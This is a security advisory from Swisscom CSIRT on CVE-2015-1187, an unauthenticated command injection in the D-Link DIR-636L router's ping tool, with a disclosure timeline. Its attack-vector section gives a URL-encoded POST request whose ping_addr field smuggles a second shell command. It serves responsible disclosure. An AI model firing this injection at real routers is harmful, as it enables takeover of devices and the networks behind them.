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############################################################################# # # SWISSCOM CSIRT SECURITY ADVISORY - http://www.swisscom.com/security # ############################################################################# # # CVE ID: CVE-2015-1187 # Product: D-Link DIR636L # Vendor: D-Link # Subject: Remote Command Injection - Incorrect Authentication # Effect: Remotely exploitable # Author: Tiago Caetano Henriques, tiago.caetanohenriques AT swisscom.com # Stephan Rickauer, Swisscom CSIRT (csirt AT wisscom.com) # Date: March 2nd 2015 # ############################################################################# Introduction ------------ Tiago Caetano Henriques discovered a security flaw in D-link DIR-636L router that enables an attacker on the same network to execute arbitrary commands without being authenticated. Vulnerable ---------- D-Link DIR-636L and possibly other versions as seen on [1]. Patches ------- None existant at the moment. Description ----------- The D-Link DIR636L (possibly others) incorrectly filters input on the 'ping' tool which allows to inject arbitrary commands into the router. Secondly, authentication is not being performed correctly. This enables a remote attacker to gain full control of the router, for example to attack other networks in a DDoS style attack, or even expose computers behind these devices to the internet as you are able to change firewall/nat rules on this router. Attack vector ------------- A URL encoded POST request with the values in front of ping_addr= such as the following, will go through and will execute the command in front of &. POST /ping.ccp HTTP/1.1 Host: 192.168.0.1 ... X-Requested-With: XMLHttpRequest Referer: http://192.168.0.1/tools_vct.asp Content-Length: 64 Cookie: ccp_act=ping_v4&ping_addr=%31%39%32%2e%31%36%38%2e%30%2e%31%30%37%20%26%20%2f %62%69%6e%2f%70%69%6e%67%20%39%34%2e%32%33%2e%37%38%2e%32%33%31 Milestones ---------- Nov 30th 2014 Vulnerability discovered by Tiago Caetano Henriques Dec 18th 2014 Vulnerability reported to Swisscom CSIRT Jan 7th 2015 CVE ID requested at MITRE Jan 18th 2015 CVE ID 2015-1187 assigned by MITRE Feb 2th 2015 Vendor contact established and provided with technical details Feb 16th 2015 Vendor acknowledged issue and communicates time line for patches Feb 26th 2015 Full Disclosure by Peter Adkins Mar 2nd 2015 Forced Public Release of this Advisory due to the previous Full Disclosure at [1] References ---------- [1] https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2 Source/url]